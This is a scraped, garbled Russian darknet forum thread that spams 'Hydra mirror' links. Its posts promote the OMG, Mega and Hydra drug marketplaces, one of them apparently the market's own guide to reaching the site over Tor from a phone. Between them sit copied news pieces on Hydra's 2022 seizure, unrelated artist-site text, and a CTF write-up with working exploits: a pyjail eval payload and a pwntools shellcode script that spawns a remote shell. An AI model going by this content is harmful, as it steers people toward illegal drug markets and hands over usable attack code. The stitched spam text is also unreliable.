Зеркала гидры онион hydra2planet com

Ubometif

Специалист
Подтвержденный
Сообщения
151
Реакции
22
Уважаемые пользователи RuTOR , Все сайты из нашего списка проверены и находятся онлайн, их нет в скам листах. Остерегайтесь фишинг сайтов и помните об уголовной ответственности за незаконные сделки. Подборка официальных сайтов по продаже веществ от форума Rutor носит исключительно информативный характер.

1. OMG!OMG - MOST ADVANCED DARKMARKET

Эта площадка существует довольно давно и в этот период она медленно развивалась в тени гидры. В настоящее время это ведущий сайт по продаже веществ в даркнете.
 

 

2. MEGA - DARKNET MARKET

Благодаря хорошей подготовке и листингу на зарубежных сайтах площадка смогла составить конкуренцию в стабильности и доступности, чего не смогли ее конкуренты, но все же она уступает по полпулярности площадке OMG!OMG!

 

3. HYDRA - Возрождение легенды.

Идут работы по восстановлению всеми любимой гидры, но все не так просто как казалось ранее, совсем скоро она будет доступна, а сейчас нам остается только ждать релиза от команды HYDRA.

 

________________________
RUTOR — Главная торговая и информационная площадка в сети Tor.



Nadoxas

Местный
Сообщения
88
Реакции
21
Зеркала гидры онион hydra2planet com
Ссылка гидры оригинальная omg4center comEcixohОМГ Ссылка Онион Рабочее Зеркало ТОР сайт omg Зайти БЕЗ VPN m, omgruzxpnew4af onion, omgruzxpnew4af union, omgruzxpnew4af зеркало, omg Как зайти на сайт омг с телефона? Лучшая ссылка омг официальный omgruzxpnew8onion com. Зайти на сайт можно с любого устройства компьютера, планшета…
 

Bozice

Юзер
Сообщения
29
Реакции
17
Мы вас приветствуем на официальной статье сайта omgПроверенные зеркала Гидрыomg - это несомненно могущественная даркнет площадка продажи наркотиков и нелегальных/запрещенных услуг, о нас и нашей деятельности говорят и знают все в СНГ и Российском интернет пространстве, поэтому нам всячески пытаются вставлять палки в колеса и мешать нам, также образовались некие паразиты нашего сайта которые делают копии и забирают у пользователей деньги, будьте внимательнее! Специально для вас, чтобы вы всегда могли знать на каком сайте вы находитесь, является ли фейком тот сайт гидры на который вы зашли или нет, для возможности проверки доставерности мы для вас публикуем полный список официальных зеркал omg shop:Также существуют ссылки на гидру такие как onion, вы возможно видели такие ссылки и не смогли зайти со своего обычного браузера, дело в том что с обычного браузера это сделать не получиться для этого необходимо использовать определенный браузер, который называется - Tor браузер. Пользование такими нашими ссылками и использование непосредственно браузера тор, обезопасит вас и сделает ваши сеансы на сайте omg намного стабильнее, так как РКН например не может нам сильно помешать на данных просторах темного интернета и вследствии сокращается время аута сайта при ДДОС-атаках. Вашему вниманию ссылки на тор omg:Способ как зайти на гидру с телефона (андроид или айфон)Немного выше мы вам рассказали об tor browser, так вот он существует и на телефонах, скачайте себе на андроид тор браузер чтобы всегда быть в сети и иметь возможность в любой момент воспользоваться вашим любимым магазином. Вы также можете пользоваться обыкновенными зеркалами с телефона, но от этого ваша безопасность может немного пошатнуться, рекомендуем всё-таки потратить малое количество времени на установку тора и использовать уже его.Всё что вам необходимо - это телефон, если это android то в плеймаркете вы спокойно скачиваете тор браузер, если iphone - также без проблем в appstore, на всякий случай ссылка на сайт Тора
Нужно отметить, что пользование через андроид будет безопаснее, так как в нем есть возможность установки пароля на приложение, таким образом мы исключаем случайные тот факт, что кто-нибудь сможет увидеть то, что у вас происходит в tor browser и не дает шанс злоумышленникам которые каким-то образом овладеют вашим телефономПосле установки Tor browser, вам необходимо его запустить и подождать пока он соединиться с сетью тор, далее вы в нем уже можете использовать тор ссылки на omg onion. После того как вы попадете на сайт с телефона в торе, обязательно зайдите в настройки и установите пароль на приложение.Желаем вам удачных покупок и хорошего настроения!
По всем вопросам вы можете обратиться к администрации. Перейдите на статьи официальной гидры, возможно вы не нашли здесь то, что искали поэтому это для вас статьи, мануалы и инструкции сайта омг.Теги:как зайти на гидру с телефона, через андолид, как обойти бан, через айфон
Зеркала гидры онион hydra2planet com
 

Nenexepi

Пассажир
Сообщения
95
Реакции
7
ГлавноеРоссияМирБывший СССРЭкономикаСиловые структурыНаука и техникаКультураСпортИнтернет и СМИЦенностиПутешествияИз жизниСреда обитанияЗабота о себеВойтиСтатьиГалереиВидеоСпецпроектыМоторЛента добраХочешь видеть только хорошие новости?Жми!Вернутьсяв обычную ленту?ВойтиИнтернет и СМИВсеИнтернетКиберпреступностьCoцсетиМемыРекламаПрессаТВ и радиоФактчекинг00:02, 6 апреля2022Интернет и СМИНемецкая полиция отключила «Гидру».Что будет дальше с крупнейшим вмире магазином наркотиков?Фото: Martin Meissner / AP1Немецкие силовики заявили облокировке «Гидры»Рано утром 5 апрелякрупнейшая даркнет-площадка по продаже наркотиков «ОМГ» пересталазагружаться у всех пользователей. Официальный представитель ресурсана одном из теневых форумов подтвердил наличие проблем с доступом иотметил, что техники пытаются их решить. Однако уже через несколькочасов стало понятно, что «ОМГ» недоступна не из-за простыхнеполадок.

«Центральное управление по борьбе с киберпреступностью прокуратурыФранкфурта-на-Майне и Федеральное управление уголовной полицииГермании отключили расположенную на территории страны сервернуюинфраструктуру крупнейшего в мире нелегального даркнет-рынка"ОМГ". Таким образом, его деятельность прекращена. Также быликонфискованы биткоины на сумму, эквивалентную примерно 23 миллионамевро», — заявили сами силовики.

На площадке на некоторое время появился баннер, в которомполицейские на нескольких языках отрапортовали о конфискацииплатформы и ее «криминального содержимого». После этого «ОМГ» ивсе ее зеркала окончательно отключились. Вечером появиласьинформация о том, что атака на «Гидру» — часть санкционной политикиЗапада. Кроме того, площадку обвинили в связях с несколькими хакерскимигруппировками.Таким гротескным баннером немецкаяполиция проводила «Гидру» в последний путьИзображение: BKA2Представители «Гидры»утверждают, что магазин восстановит работуВ отсутствие связи садминистраторами «Гидры» на самой площадке обитатели даркнетаобрушились с вопросами на представителя маркетплейса на одном издаркнет-форумов. Через два часа после блокировки пользователь сником omg support емко написал: «Не переживайте, восстановим».Вскоре представитель «Гидры» добавил подробностей: «Работа ресурсабудет восстановлена, несмотря ни на что. (...) Но нужно время». Онтакже заверил, что после восстановления работы нелегальногомаркетплейса баланс каждого пользователя будет таким же, каким онбыл до блокировки.

После этого рупор «Гидры» заявил о том, что «сроки восстановленияработоспособности проекта будут озвучены в течение дня». К моментувыхода материала этого не случилось. При этом ни в одном своемсообщении omg support не подтвердил сам факт ареста серверовплощадки в Германии.

Многие пользователи на даркнет-форумах предполагают, что на самомделе немецкая полиция смогла лишь арестовать серверы, которыеоказались зашифрованными, из-за чего получить доступ к ихсодержимому не удалось. После этого, по мнению завсегдатаев теневыхресурсов, было принято решение об отключении серверов и,соответственно, основной инфраструктуры «Гидры».3Работу всех магазинов на «Гидре»приостановилиКак удалось выяснить«Ленте.ру», работа всех магазинов на «Гидре» поставлена на паузу.Все сотрудники получили указания не предпринимать никаких действий.«В районе обеда нам дали понять, что ничего критичного непроизошло, так как у площадки много серверов. Связь с сотрудникамимы держим в альтернативных мессенджерах с высоким уровнеманонимности. Через саму "Гидру" ключевые рабочие вопросы никогда ине решались. Прорабатываются ли альтернативные варианты развитиясобытий? Да», — рассказал «Ленте.ру» на условиях анонимностиоператор одного из магазинов.

Ближе к вечеру 5 апреля отдельные магазины заявили о начале продажв закрытых Telegram-каналах. По словам представителя одного из них,это связано с тем, что «ОМГ» будет восстанавливаться достаточнодолго: «Крупные магазины уже перекладывают опт (меняют местазакладок с оптовыми партиями наркотиков — прим. «Ленты.ру»)."ОМГ" восстанавливает данные с резервного сервера — этот процессбудет долгим, займет не одну неделю. "ОМГ" будет работать, но,скорее всего, с нуля», — сказано в сообщении представителя одногоиз таких магазинов на теневом форуме.Рядовые пользователиплатформы на различных ресурсах и в Telegram-каналах уже пытаютсявыведать, существуют ли альтернативные площадки, на которых можнооперативно купить запрещенные вещества (такие площадки существуют,однако многие их пользователи отмечают, что они проигрывают «Гидре»в оперативности и ассортименте). Другие переживают о деньгах,которые оставались на их счетах в даркнет-маркете, и гадают,удастся ли их вывести после восстановления работоспособностиресурса. В том, что «ОМГ» скоро вернется, практически никтовсерьез не сомневается. Это не мешает активизации небольшихплощадок, которые в последние месяцы или даже годы либо оставалисьв тени «Гидры», либо фактически не работали, оставаясь доступными вдаркнете. О начале (или возобновлении) работы сообщили в двухмаркетплейсах наркотиков, один из которых работает по всей стране,другой — только в Москве.Фото: Michele Tantussi /Reuters4Сколько денег потеряла«ОМГ»Авторитетный Telegram-каналDrugStat, занимающийся в том числе аналитикой экономическихпоказателей российского онлайн-рынка оборота наркотиков, подтвердилинформацию о выводе основной части средств с кошельков, связанных с«Гидрой»: «Очень важно, что мы подтверждаем только этот факт. Мы неподтверждаем другую информацию. Потому что даже в пресс-релизенемецких силовиков есть ошибки».

По данным криптовалютной площадки Blockchain.com, на один изкошельков ранним утром 5 апреля почти сотней отдельных транзакцийбыли выведены более 543 биткоинов (примерно2,12 миллиарда рублей, те самые 23 миллиона евро) с адресов,начинающихся с цифры 3, — именно так выглядят кошелькипользователей «Гидры» (не только они, но они в том числе). При этомDrugStat не подтвердил ни информацию о том, что за выводом стоялинемецкие полицейские, ни сведения об аресте владельцев «Гидры».Вечером 5 апреля были проведены еще несколько транзакций на этоткошелек.5Как растет «ОМГ»Площадка «ОМГ» появиласьв российском сегменте даркнета в 2015 году. В ходе жесткойконкурентной борьбы ресурс вытеснил с рынка торговую площадку RAMP,после чего стал фактически монополистом в сфере нелегальногооборота наркотиков. По оценкам немецких силовиков, в 2020 году на«Гидре» продали незаконных веществ на сумму в 1,23миллиарда евро.

Эти данные подтверждаются исследованиями аналитиков Flashpoint,которые подсчитали, что общая ежегодная сумма транзакций наплощадке выросла с 9,4 миллиона долларов в 2016 году до1,37 миллиарда долларов в 2020-м. В том же году на долю «Гидры»пришлось 18,4 процента от мирового оборотанезаконной криптовалюты (772 миллиона долларов). Чуть позднее«ОМГ» начала экспансию в страны СНГ.Фото: Fabian Bimmer / ReutersСама платформа представляетсобой маркетплейс, на котором расположены магазины по продаженаркотиков. Каждый из них предлагает покупателю свой ассортимент,при этом сами магазины представлены в разных городах России. Послетого как пользователь оплатил товар биткоинами (на «Гидре» естьвстроенные обменники), он получает адрес места, в котором егоожидает закладка с веществом. Процесс оптимизирован настолько, чтосама покупка занимает в среднем 5-7 минут.

Помимо наркотиков на площадке продаются фальшивые деньги,поддельные паспорта и удостоверения сотрудников различных структур(в том числе ФСБ), банковские карты, оформленные на «мертвые души»,рецептурные медицинские препараты и реактивы, необходимые дляпромышленного производства запрещенных веществ. В 2019 году«Лента.ру» выпустила спецпроект «Россия поднаркотиками», посвященный работе «Гидры».6Кто стоит за «Гидрой»Год назад, в феврале2021-го, разработчиков «Гидры» попытались деанонимизировать.Неизвестный хакер выложил на уже не существующем ресурсе результатысвоего расследования, в рамках которого он проанализировалфрагменты кода площадки, оказавшиеся в открытом доступе послеDDoS-атаки. По его данным, за разработкой «Гидры» стоят дваукраинских программиста, имена которых были преданы огласке. Сами техническиеспециалисты заявили о своей непричастности к проекту. Украинскаяполиция о начале каких-либо следственных действий не сообщала.Вениамин ЛыковКомментарииотключеныЕсть что скрывать. Что на самом деле происходит в даркнете —неизвестном простым россиянам интернете?«Произошла настоящая революция»В России происходит передел рынканаркотиков в даркнете. Чем это грозит жителям страны?«На хвосте не только копы, но и весьмир»Как в даркнете начался переделрынка наркотиков после падения «Гидры»«Не надо было угрожать моейстране»Хакеры Killnet защищают Россию,сражаясь с Anonymous и НАТО. Кто за ними стоит?Еще материалы циклаПоследние новостиВ СШАраскрыли план Байдена развязать войну между НАТО и Россией07:21Оцененыперспективы отношений России и Польши после спецоперации07:15Стилистка перечислила удешевляющие внешний видженщины вещи07:15Экс-глава МИД Австрии предрекла Германии«тяжелые времена» из-за эмбарго на газ07:12Сталиизвестны подробности о работе черного рынка валюты в России07:00Гинеколог перечислила повышающие либидо женщинпродукты07:0055-летняя мать двоих детей рассказала обизменивших ее жизнь танцах на шесте07:00ВГосдуме обвинили Украину в попытке устроить газовую блокадуЕвропы06:39Голландский футболист «Спартака» рассказал ожизни в России06:30ВластиХерсонской области заявили о готовности бесплатно поставлять воду вКрым06:17Все новостиПопулярные новостиСталиизвестны подробности о работе черного рынка валюты в России07:00В СШАраскрыли план Байдена развязать войну между НАТО и Россией07:21Украинапредложила обменять военных с «Азовстали» на пленных россиян22:17,11 мая 2022ВТурции заявили о расколе Европы из-за российского газа05:41Захарова раскрыла планы Британии по депортацииукраинских беженцев04:45ВРоссии изменится порядок начисления некоторых пенсий с 1июня05:43Вашингтон ограничил обмен разведданными овоенном руководстве России с Киевом05:11РедакцияРекламаПресс-релизыТехподдержкаСпецпроектыВакансииRSSОзвучка материалов© 1999–2022 ООО «Лента.Ру»Нашли опечатку? НажмитеCtrl+Enter18+Лента добрадеактивирована.Добро пожаловать в реальныймир.
 

Epogi

Пассажир
Сообщения
114
Реакции
22
Сегодня речь пойдет о omg. omg - это крупнейший в мире российский маркетплейс в даркнете, где толкают запрещенные штуки за крипту.Схема проста как дважды два. Есть агрегатор крупных "магазинов" типа $OZONили $YNDXв виде omg, который за каждую транзакцию просто берет комиссию, есть куча частных магазинчиков, где в соответствующих ветках пользователи даже отзывы в открытую пишут о стаффе, доставках и ценах ну и собственно есть юзеры. Акции, бонусы и кешбеки само собой в наличии.Юзер оплачивает что-то, отправляет крипту, после, через n часов или дней, получает фотографию своей "закладки" и координаты и идет подбирать свой "заказ". Ходили слухи, что любители получать звезды там тоже крутились, ловя несчастных забулдыг по заведомо ими же отправленным координатам, но сами понимаете рейтинг "магазина" от этого выше не становится, а многие забулдыги не дураки и брали стаффа аккурат до уголовки (насколько я помню если поймают с марихуаной до 6г => вам грозит административная ответственность и постановка на учет по месту жительства, свыше 6г - уголовка, это же относится и к синтетике, но грамм там меньше), но дураков как говорится на 100 лет припасено.5 апреля стало известно, что в результате спецоперации правоохранительных органов Германии конфискована серверная инфраструктура «Гидры», а также изъяты 543 биткоина общей стоимостью около 23 миллионов евро (с) meduzaГлавный подозреваемый по всем этим делам уроженец Череповца 30 летний Дмитрий Павлов. "По предварительным данным, с ноября 2015 года Павлов управлял компанией ООО "Промсервис", также известной как хостинговая компания "Полный привод", "Все колеса" и 4x4host, которая администрировала серверы "Гидры". "Павлов, предположительно, вступил в сговор с другими операторами omg, чтобы заниматься развитием сайта, предоставив важную инфраструктуру, которая позволила omg работать и процветать в конкурентной среде даркнета, - говорится в сообщении заокеанского Минюста. Там же аккуратно добавляют. - При этом Павлов, возможно, получал комиссионные на миллионы долларов от незаконных продаж, проводимых через сайт".По сути сейчас ясно только то, что Павлов предоставлял место для размещения серверов Гидры, сам он говорит, что вообще не в курсе и просто перепродавал емкости сервера, купленные у Германии. Сейчас он проходит подозреваемым по делу о незаконном сбыте наркотических средств в особо крупном размере (часть 5 статьи 228.1 УК РФ, наказывается лишением свободы на срок от 15 до 20 лет).Чтобы вы понимали степень дерзости и безнаказанности Гидры - они собирались выходить на ICO (это как IPO только для криптоактивов) и выкинуть в открытый доступ 49% своих "акций" в виде 1,47 миллиона токенов стартовой ценой 100 долларов каждый. Или 147 млн долларов. Позже они отказались от этой затеи и средства всем вернули. Поговаривают что это был PR ход или просто веселый троллинг платформы. В их планах был запуск не только в РФ и странах СНГ, но и по всему миру платформы Eternos, работающей по такому же принципу, на разработку собственно и хотели привлечь деньги с помощью ICO, но видимо этот шаг все же пресекли."По сведениям полиции Германии, у маркетплейса было около 17 млн пользователей и более 19 тысяч продавцов. Оборот «Гидры» за 2020 год оценивали примерно в 1,23 миллиарда евро" (с) Meduza В сети ходят слухи, что после ареста серверов с кошельков omg вывели 543 биткоина (примерно 2,12 миллиарда рублей).Это не первый маркетплейс, попавший под удар, ранее в 2010-2013 годах был нашумевший SIlkRoad с владельцем из Сан-Франциско, 4 месяца назад был закрыт Monopoly Market, короче говоря даркнет душат как могут, многие проекты (даже крупные) просто закрылись начиная с 2010 года, а владельцы сбежали со средствами пользователей.Удастся ли избежать ответственности реальным владельцам (коли таковые еще есть) и Павлову? Что будет с криптоакциями типа $MSTR$COIN$RIOT? Пишите в комментариях! Я против наркотиков, но за свободную информацию!
 
G

Gejuzudy

Пассажир
Сообщения
108
Реакции
17
Skip to content SCHELLEKENSsoloworkSchschtworkS/PINTHE ABSENCE OF THE ARTISTbiocontactthankssolo work by SchellekensA Minute’s SilenceArtdropHow To BanArtThe Title …UntitledThis Is Not A GameNiksI AmStill HereOnlyTime Will TellChangeDays TheTime Will …We Had ABlastDigitalWorkAnything’spossibleInstantSunriseUnderneath The BarsAtRandomLoopholesUntitledGrowthTheAbsenceOnlyLifeBlueZonesUntitledFrom ScratchSeriesUntitledUntitledFailure isan optionUpcummingNarcissistVacuumPaintingMoney is justpaperLife’s abadgeSpeechlessArabSpringEOPASchellekens © 2022
 

Juhenyji

Пассажир
Сообщения
67
Реакции
4
This is my write-up for recent hack you spb CTF - a CTF for newbies. I guess I'm a bit older here ahaha.Reverse 100:#include <stdio.h>#include <string.h>int main() { char buf[64]; gets(buf); int l = strlen(buf); if (l * l != 144) return 1; unsigned int a = buf[0] | (buf[4] << 8) | (buf[8] << 16); unsigned int b = buf[1] | (buf[5] << 8) | (buf[9] << 16); unsigned int c = buf[2] | (buf[6] << 8) | (buf[10] << 16); unsigned int d = buf[3] | (buf[7] << 8) | (buf[11] << 16); if (!(((a % 3571) == 2963) && (((a % 2843) == 215)) && (((a % 30243) == 13059)))) return 2; if (!(((b % 80735) == 51964) && (((b % 8681) == 2552)) && (((b % 40624) == 30931)))) return 3; if (!(((c % 99892) == 92228) && (((c % 45629) == 1080)) && (((c % 24497) == 12651)))) return 4; if (!(((d % 54750) == 26981) && (((d % 99627) == 79040)) && (((d % 84339) == 77510)))) return 5; printf("Congratulations %s is flag\n",buf); return 0;}First of all, I think about use something like z3, or any SAT that could give me the valid number. But z3 took a lot of time, so I decided to look deeper... Yes, you could finger out there is a pattern (x % number1 == number2), so you could apply Chinese remainder theorem to get a, b, c.Reverse 200:
This is a .pyc file, which is a file contain python byte-code. As usual, for byte-code relative problems, I search for some python byte-code decompiler and found pycdc.
After decompil, you should get something like this# Source Generated with Decompyle++# File: rev200_bot_7b541a1.pyc (Python 2.7)import configimport tracebackimport refrom base64 import *from twx.botapi import TelegramBot, ReplyKeyboardMarkup, ReplyKeyboardHidesec_state = { }def process_message(bot, u):Warning: Stack history is not empty! if u.message.sender and u.message.text and u.message.chat: chat_id = u.message.chat.id user = u.message.sender.username reply_hide = ReplyKeyboardHide.create() print 'user:%s mes:%s' % (user, u.message.text) if user not in sec_state: sec_state[user] = { 'mode': 15, 'stage': 7 } cmd1 = u.message.text.encode('utf-8') a = re.findall('(\\/\\w+)\\s*(.*)', cmd1) if a: cmd = a[0][0] data = a[0][1] if cmd == '/help': bot.send_message(chat_id, 'Usage: \n\n/help - show this help\n/enter - enter secret mode\n', reply_markup = reply_hide) if cmd == '/enter': keyboard = [ [ '-7-', '-8-', '-9-'], [ '-4-', '-5-', '-6-'], [ '-1-', '-2-', '-3-'], [ '-0-']] reply_markup = ReplyKeyboardMarkup.create(keyboard) bot.send_message(chat_id, 'please enter access code', reply_markup = reply_markup).wait() if sec_state[user]['mode'] == 0 and cmd == '/7779317': ddd = b64decode(data) bot.send_message(chat_id, eval(ddd)) a = re.findall('-(\\d+)-', cmd1) if a: num = a[0] if int(num) == sec_state[user]['stage']: sec_state[user]['stage'] = (sec_state[user]['stage'] * sec_state[user]['stage'] ^ 1337) % 10 sec_state[user]['mode'] = sec_state[user]['mode'] - 1 if sec_state[user]['mode'] < 0: sec_state[user]['mode'] = 0 if sec_state[user]['mode'] == 0: bot.send_message(chat_id, 'Secret mode enabled!', reply_markup = reply_hide).wait() else: print 'NO', num, sec_state[user]['stage'] bot.send_message(chat_id, 'Invalid password!', reply_markup = reply_hide).wait() sec_state[user]['mode'] = 15 bot = TelegramBot(config.token)bot.update_bot_info().wait()print bot.usernamelast_update_id = 0while True: updates = bot.get_updates(offset = last_update_id).wait() try: for update in updates: if int(update.update_id) > int(last_update_id): last_update_id = update.update_id process_message(bot, update) continue continue except Exception: ex = None print traceback.format_exc() continue So this is a kind of chat-bot server based on Telegram.
There is eval function inside,  bot.send_message(chat_id, eval(ddd)), so I need to control ddd which is a base64 decoded string from data we sent. Before that, I need to enter Secret mode by enter correct access code (0-9).
First, set sec_state[user]['mode'] = 0; First time, stage init to 7, that changed everytime you press the correct key; But if I dont remember the stage, I still could find out by bruteforce from 0 to 9, if I didn't recv incorrect message that's mean I pressed the correct one; then by use the following script, I'm able to access secret area;#coding: utf-8sec_state = { }user = "A"sec_state[user] = {'mode': 15,'stage': 7 } # bruteforce numbersec_state[user]['mode'] = 15r = []while 1: num = sec_state[user]['stage'] r.append(num) print "-%d-" % num sec_state[user]['stage'] = (sec_state[user]['stage'] * sec_state[user]['stage'] ^ 1337) % 10 sec_state[user]['mode'] = sec_state[user]['mode'] - 1 if sec_state[user]['mode'] < 0: sec_state[user]['mode'] = 0 if sec_state[user]['mode'] == 0: breakprint sec_state[user]['mode']Next, this is a pyjail, so I can't execute normal python command...
So, final payload is `str(().__class__.__base__.__subclasses__()[40]("flag","r").read())`or `/7779317 c3RyKCgpLl9fY2xhc3NfXy5fX2Jhc2VfXy5fX3N1YmNsYXNzZXNfXygpWzQwXSgiZmxhZyIsInIiKS5yZWFkKCkp`Reverse 300:
Let's get some fun.let reverse this (or not?), look at handler (the main function)ssize_t __cdecl handler(int fd){ ssize_t result; // [email protected] unsigned int buf; // [sp+20h] [bp-18h]@1 int v3; // [sp+24h] [bp-14h]@1 char *v4; // [sp+28h] [bp-10h]@4 int v5; // [sp+2Ch] [bp-Ch]@4 buf = 0; setuid(0x3E8u); seteuid(0x3E8u); setgid(0x3E8u); setegid(0x3E8u); result = recv(fd, &buf, 4u, 0); v3 = result; if ( result == 4 ) { result = buf; if ( buf <= 0xC8 ) { v4 = (char *)mmap(0, buf, 7, 33, -1, 0); v3 = recv(fd, v4, buf, 0); result = crc32(0, v4, buf); v5 = result; if ( result == 0xCAFEBABE ) { result = filter(v4, buf) ^ 1; if ( !(_BYTE)result ) result = ((int (*)(void))v4)(); } } } return result;}So the basic idea is make result == 0xCAFEBABE, so the program will execute v4 as shellcode (function pointer), but you also need to bypass the filter function - check if contain any of 0x0, 0x1, 0x2f, 0x68, 0x73 ( so I can't use sh in plaintext)then exit; So, I did the following step:1. Find a program that can make crc32 of my shellcode equal 0xCAFEBABE
2. Make a great shellcode and Bypass filter.
By search google for everything, the answer for problem 1 is force-crc32.
Currently I'm also trying to learn some binary exploit method, write a shellcode isn't hard (hint xor), but if there is any framework that's good enough as pwntools , you shoud try at least once.
Basicaly, I import pwns and let pwntools do the rest;from pwn import *import socket, struct, telnetlibdef getCRC(data): import subprocess with open('/tmp/12', 'wb') as f: f.write(data + "123456") subprocess.check_output(['python', 'forcecrc32.py', '/tmp/12', str(len(data)+1) , 'CAFEBABE']) with open('/tmp/12', 'rb') as f: data = f.read() return datadef crc32(data):# recheck import zlib return (zlib.crc32(data)) & 0xffffffffd = ""d += asm(pwnlib.shellcraft.i386.linux.dup2(4,0))d += asm(pwnlib.shellcraft.i386.linux.dup2(4,1))# i need dup2 because the program use itself as serverd += asm(pwnlib.shellcraft.i386.linux.sh())fsc = pwnlib.encoders.encoder.encode(d, '\n\x01\0\x2f\x73\x68')print len(fsc)fsc = getCRC(fsc) # it didn't contain any blocked char, so i dont need to re-generate again.print hex(crc32(fsc))#yes, i love my custom socket lib 🙁s = socket.create_connection(("78.46.101.237", 3177))s.send(p32(len(fsc)))s.send(fsc)s.send("\n")s.send("cat flag*\n") print s.recv(1024)To be continued....Related
 
Сверху Снизу